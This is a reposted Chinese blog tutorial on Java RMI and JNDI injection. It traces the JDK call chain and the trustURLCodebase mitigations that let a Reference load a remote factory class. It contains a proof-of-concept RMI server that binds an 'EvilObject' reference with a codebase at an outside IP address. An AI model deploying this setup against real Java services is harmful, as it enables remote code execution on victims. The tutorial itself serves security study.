Java安全学习(二)–JNDI注入

Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序 编程接口

RMI 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC的一种方式。

RMI的简单实现

Server端

//定义远程对象的接口
public interface HelloService extends Remote {
    String say() throws RemoteException;
}

//接口的实现
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {

    public HelloServiceImpl() throws RemoteException{
        super();
    }

    @Override
    public String say() throws RemoteException {
        return "Hello";
    }
}

//注册远程对象
public class Service {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        HelloServiceImpl helloService = new HelloServiceImpl();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1/hello",helloService);

    }
}

Client端

public class Client {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        HelloService helloService = (HelloService) Naming.lookup("rmi://127.0.0.1/hello");
        System.out.println(helloService.say());

    }
}

RMI的调用机制

RMI 采用stubs 和 skeletons 来进行远程对象(remote object)的通讯。stub 充当远程对象的客户端代理,有着和远程对象相同的远程接口,远程对象的调用实际是通过调用该对象的客户端代理对象stub来完成的。

RMI调用过程

Java安全学习(二)--JNDI注入

客户端调用stub(存根上的方法),存根负责将要调用的远程对象方法的方法名以及其参数编组打包,并且通过Socket通信发送给Skeleton,Skeleton将客户端发送过来的数据包中的方法名以及编组的参数进行解析,并且在服务端将此方法执行,执行完毕后将返回值通过相反的路径返回给客户端Stub,Stub将返回结果解析后给客户程序。

RMI+JNDI注入

RMIClient

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8080/refObj");
            String data = "This is RMI Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

RMIServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(8080);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://139.224.236.99/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:8080/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}

执行触发

Java安全学习(二)--JNDI注入

调用链分析

Java安全学习(二)--JNDI注入

InitialContext.java

public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

GenericURLContext.java

public Object lookup(String var1) throws NamingException {
    //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
    //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
    //进入不同的协议路线
    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
    Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象

    Object var4;
    try {
        var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-aa
    } finally {
        var3.close();
    }

    return var4;
}

RegistryContext.java

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

RegistryContext.java

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        //如果是Reference对象的话,将进行一次RMI服务器的链接,获取远程class文件
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}

NamingManager.java

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

//跟进            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }

通过getObjectFactoryFromReference或者getObjectInstance进行命令执行,这两个命令执行点都可以进行命令执行,不过第一个在执行的时候会发生报错,由于我们自定义的类实例化后不能转化为ObjectFactory,所以我们需要定义的类要继承该类,并且重写getObjectInstance接口,完成第二处命令执行

    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

先尝试本地或者此class,在本地不存在此class的情况下,从codebase中获取此class并且进行加载和实例化

RMI+JNDI注入原理

当注册RMI服务的时候,可以指定远程加载类codebase url的位置,通过该属性可以让JNDI来加载我们指定的远程类,当 JNDI 应用程序通过 lookup (RMI服务的地址)调用指定 codebase url 上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。

RMI触发JNDI的限制

public class RMIClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8080/refObj");
            String data = "This is RMI Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

通过上面这段代码,我们会发现我们是需要一个可控的参数的,并且在java高版本中和低版本的某些版本中 系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false ,即默认不允许从远程的Codebase加载Reference工厂类。

LDAP+JNDI注入

除了RMI实现JNDI注入外,同样LDAP也可以实现JNDI注入,同RMI来对比, LDAP 服务的 Reference 远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,不过在之后的版本,也对这些属性进行了限制,如 对com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false.

JNDIClient

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;

public class LDAPClient {

public static void main(String[] args) throws Exception {
    String uri = "ldap://127.0.0.1:8088/aa";

//        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

Java安全学习(二)--JNDI注入

调用过程和RMI触发JNDI差不多,就不详细分析了。

LDAP触发JNDI注入的限制

其实和RMI的差不多,就不再赘述了。

关于JNDI注入的一个问题

这个问题是看Seebug发现的,不过在调试RMI 触发的这个过程正好可以解决这个问题,文章的作者也给了很详细的说明

Q:oC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。

对于这段代码

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

这段代码的主要作用是从registry中拿出远程对象赋给var2,并且这个var2为stud类型

关键在于下一段的代码处理

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ?
                ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, 
                this, this.environment);
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}

decodeObject 函数将 stub 还原成了 Reference,所以才可以造成代码执行。

原文 

https://lihuaiqiu.github.io/2020/02/28/Java安全学习-二-JNDI注入/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » Java安全学习(二)–JNDI注入

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址